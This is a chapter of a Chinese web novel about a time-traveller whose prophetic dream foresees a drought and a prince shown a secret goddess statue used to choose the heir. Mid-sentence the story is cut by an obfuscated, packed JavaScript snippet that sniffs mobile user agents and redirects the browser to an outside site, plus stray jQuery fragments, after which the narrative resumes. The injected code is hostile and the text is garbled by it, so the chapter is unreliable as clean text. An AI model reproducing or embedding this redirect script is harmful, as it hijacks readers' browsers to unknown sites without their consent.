24. 天律信仰
作品:《穿越后和男主共享了血条》 是夜,简觉如往日一般早早回房睡下,恍惚间却深陷梦境。
她分明清醒地意识到自己在做梦,却只觉自己被困于躯壳之中,怎么也醒不过来。
土地皲裂,河床裸露,蔓延千里的百姓沉寂地迁徙。她置身在杂乱的人群之中,哭喊嘈杂之声将她淹没。
突然之间,眼前景象快速变化,头晕目眩中,她又到了东安城。
她从未见过这般破败的东安城,主路之上,昭王府摆了布施棚屋,灾民们排着队,只能领到一碗稀粥。只是,秩序未能维持多久,几个灾民为着碗稀粥打了起来。
简觉正欲上前阻止,却被身后之人推了一个踉跄,随即,她被迫卷入了灾民乱斗之中,无力地被人推搡着,竟一点力气也使不出来。
眼见场面愈加混乱,憋屈、烦闷、痛苦,挤压着睡梦中的她。
随着一股猛地坠落感,她骤然惊醒。再睁眼时已是寅时,她坐在床榻之上,只感受到自己剧烈的心跳声,冷汗已浸湿了她的内衫。
她走下床,给自己倒了杯水,“系统,东安郡大旱什么时候开始?”
【预计六个月后降雨量开始减少,九个月后演变成旱灾。】
这回看见的景象比上回多了不少,也显得更加真实,仿佛她自己真的置身在灾民之中,亲身经历了这场灾祸。
这场景叫她心绪难平,推开房门,正打算在内院中走一走。竟看到萧宇策书房的灯还亮着,不知是刚起还是一直未睡。
“系统,这个梦,能不能让萧宇策也看到。”
【暂未开放此功能,感知值30点以上将开启通感功能。】
这个好办,待冉言澈入京,任务也该完成了,届时便可分配点数。只是,这样的梦境,该不该让萧宇策看见,她一时拿不定主意。
思索间,竟不知不觉走到了书房门口,“阿策,怎的寅时也在书房?”她敲响了书房的门。
“东平郡事务繁杂,我得尽快将一切运作起来。倒是觉儿,怎么起这般早。”萧宇策手持烛火,迎了过来。
“做了个梦,惊醒了。”
二人结伴,在茶桌旁坐了下来,“什么梦,竟这般骇人?”
“九个月后,东安郡大旱,民不聊生。”
萧宇策闻言,愣住了,竟是连茶杯中的水溢了出来也未能察觉。
“阿策可要抓紧时间囤粮才是。”简觉接过他手中的茶壶,将桌上的水擦拭干净。
“唯东安郡一郡受灾吗?”
“受灾范围有五郡之广,东安郡只是其中之一。原本,在你的带领之下,东安郡不该严重受灾,只是,其他郡将灾民赶往了东安郡。”后面的事情,她便没有说出来了。
东安郡各处门户,日夜皆有灾民涌入,若是派重兵镇守,倒也能守得一方太平。只是萧宇策不忍见百姓苦难,便接收了所有前来投奔的灾民。
东安郡虽有屯粮,却远不够用。以致于短短几个月的旱灾,死伤无数。
萧宇策站起身来,打开了书房中一张天律朝地图,将简觉方才提到的五郡圈画了出来。接着,便站定在了那地图之前,不知在想些什么。
“阿策不必过于忧心,如今情况已与预言中大不相同。预言中的场景,没有金薯,也没有东平郡。”
“也就是说,觉儿确信九个月后会出现旱灾。”
“我的预知梦,向来是比较准的。”简觉倒也未作出明确答复,只是这么说也足够表态了。
二人交谈中,不知不觉已天光微亮。
用了早膳,萧宇策同往日一样,到天长殿随侍。只是,今日的天律帝,看起来心情不错的样子。
“策儿,上前来。”天律帝将平沙郡的奏章,放到了萧宇策眼前。
竟是九弟写来的奏章,写明灾情已解,金薯长势良好,百姓皆可果腹。甚至,平沙郡百姓,不少已经自发的分出田地来种植金薯。
“这金薯果真是个好东西,策儿,你这回功劳不小啊!”天律帝只字不提平沙郡的薯种来源,竟对此等“先斩后奏”之事大为表彰。
“父皇,儿臣不过是将薯种送了过去罢了。”
“不过,朕听闻你在东安郡内种植金薯的地方供奉了画像,就连平沙郡的农庄内也有祭台,这是何意味?”天律帝话风一转,质问着他。
“父皇,此种自方外而来,自要供奉方外神女,可保金薯丰收。”萧宇策对简觉同她说的话,深信不疑。
“你可知,百姓有样学样,平沙郡凡种植金薯的农户,皆在家中供奉了画像,只求丰收。要不了多久,民间怕是要多个信仰神了。”
“父皇容禀,儿臣认为,百姓心中多个寄托,也是好事。”
天律帝没再说些什么,只是站起身来向外走去,“你随我来。”
萧宇策不知他何意,却也只能跟了上去,待停下来时,竟是到了奉天阁。
“你可知,这是什么地方?”
“儿臣知道,此处为前朝登天阁,如今改名奉天阁。”萧宇策说的,是天律朝中人人皆知之事。
天律帝带着他走进了奉天阁,挥退了一众宫人,只余父子二人在内。
一路向上,到了顶楼。天律帝就这么当着他的面,打开了一处秘阁。
呈现在他眼前的是一座等人高的雕像,塑造了一位栩栩如生却没有面容的神女。虽是座无脸神像,却让他隐约看出些觉儿的模样来。以至于恍惚间,叫他一度以为身着华服的觉儿正站在自己眼前。
“这便是天律朝历代的秘密,也是每一任天律帝必须供奉的神女。”
萧宇策站在神像前,被这个秘密冲击得回不过神来。
一是,天律朝忌讳鬼神之说,竟是因为秘密供奉了女神,是故不允许有人信仰其他的神。
二是,父皇竟将只有皇帝能知道的秘密告诉了自己,还将他带到了神像之前。
三是,这神像,竟让他觉得有觉儿的影子。
这三个念头,无一不在拉扯着他,直叫他不知作何反应。
“你可知,父皇为何带你来这?”
“是为着儿臣擅自传播画像一事。”
“非也,此事父皇已问过神女,她已应允。父皇带你来这,是想问问她,你能不能成为继位者。”
说罢,未等萧宇策作出反应来,天律帝便拉着他跪在了神像之前。
随着三炷香插
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17286583|195653||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
入香炉之中,随着燃香升起了阵阵烟缕,这些烟缕汇聚在空气中久不散去。
他从未闻过这样的味道,竟也逐渐感受到一股温润之气,随着线香的燃尽,烟气中逐渐透出人的面容来。
萧宇策看得清楚,那张面容虽不像觉儿,眉目之间却与变装前的她颇为相似。尤其是那双目间的神采,他绝不会记错,初见时的那双眼睛。
他赶忙将自己从纷飞的思绪中抽离出来,不好叫天律帝看出他的异常来,“父皇,折煞儿臣了!父皇正值壮年,儿臣怎……”
天律帝按住他的肩膀,打断了他的话,“好了,这里只有你我父子二人,这些冠冕堂皇的话就不必说了。”
“此香乃生犀所制,可通神。”随着烟缕中面容的出现,天律帝也松了一口气,“你可看到了那烟缕所呈之像,此乃大吉,玄女娘娘对你很中意。”
遥想太宗皇帝时期,太宗嘱意皇三子为继任者,可惜玄女娘娘并不中意三皇子继位。太宗皇帝疼爱这个孩子,执意想要立三皇子为太子,结果没过几天,三皇子暴毙在太子府中,朝野震动。
太宗皇帝暴怒,一气之下毁了神女像。而后,太宗皇帝竟夜夜深陷梦魇,期间天律朝更是天灾人祸不断,以致于他日夜操劳,被折磨得不成人样。
于是,太宗皇帝只好唤人为玄女娘娘重塑金身,日夜供奉,过了整整三个月一切方恢复如常。
最后,只好选了位玄女娘娘中意的皇子,立为太子。
这些皇室秘辛,也都是萧明武成为太子之后,由他的父皇告诉他的。好在先皇在位期间,他看重的儿子,玄女娘娘也颇为中意。
如今到了他萧明武祈问神女,也是一样的结果,他自然是要松口气的。
“策儿,自你出生,这位置便是给你留的,你可莫要辜负为父的期望。”
此话说得无缘由,叫萧宇策分不清是试探还是真心。
他只知道,自记事以来,便是他和母妃相依为命。宫中之人见人下菜碟,他们母子过了不少缺衣少食的日子。
父皇每来一次,生活是会短暂地好上几天。可不出三天,便会变本加厉地变回原来的日子。皇后与孙贵妃针对母妃的刁难,也从未停止过。
再后来父皇来的也少了,他和母妃的日子,竟也就这么平静了下来。
到了他八岁那年,他多了一个过继给母妃的弟弟,也就是九弟。自那以后,母子俩的日子居然好了起来,母妃也终于得到了德妃该有的待遇。
可八年的艰苦生活,早已深刻在他心上。
如今,看着眼前的父皇,说着“这位置是给他留的”,他只觉得荒唐。
他这么多年来憋着的那股气性,在这句话下,竟成了个笑话。原来,可怜人不是他,而是萧宇敬和萧宇柏这两个从小没吃过苦头的人。
“策儿,当初早早将你送往封地,属实是无奈之举,如今,为父保证,再不会有这样的事情发生,为父定会为你扫清一切障碍。”
“儿臣多谢父皇!”萧宇策叩首在地。
他有太多的问题想问,为何八岁以前过得是这样的日子,为何十五岁就将他送往封地,为何如今又说出这样的话?

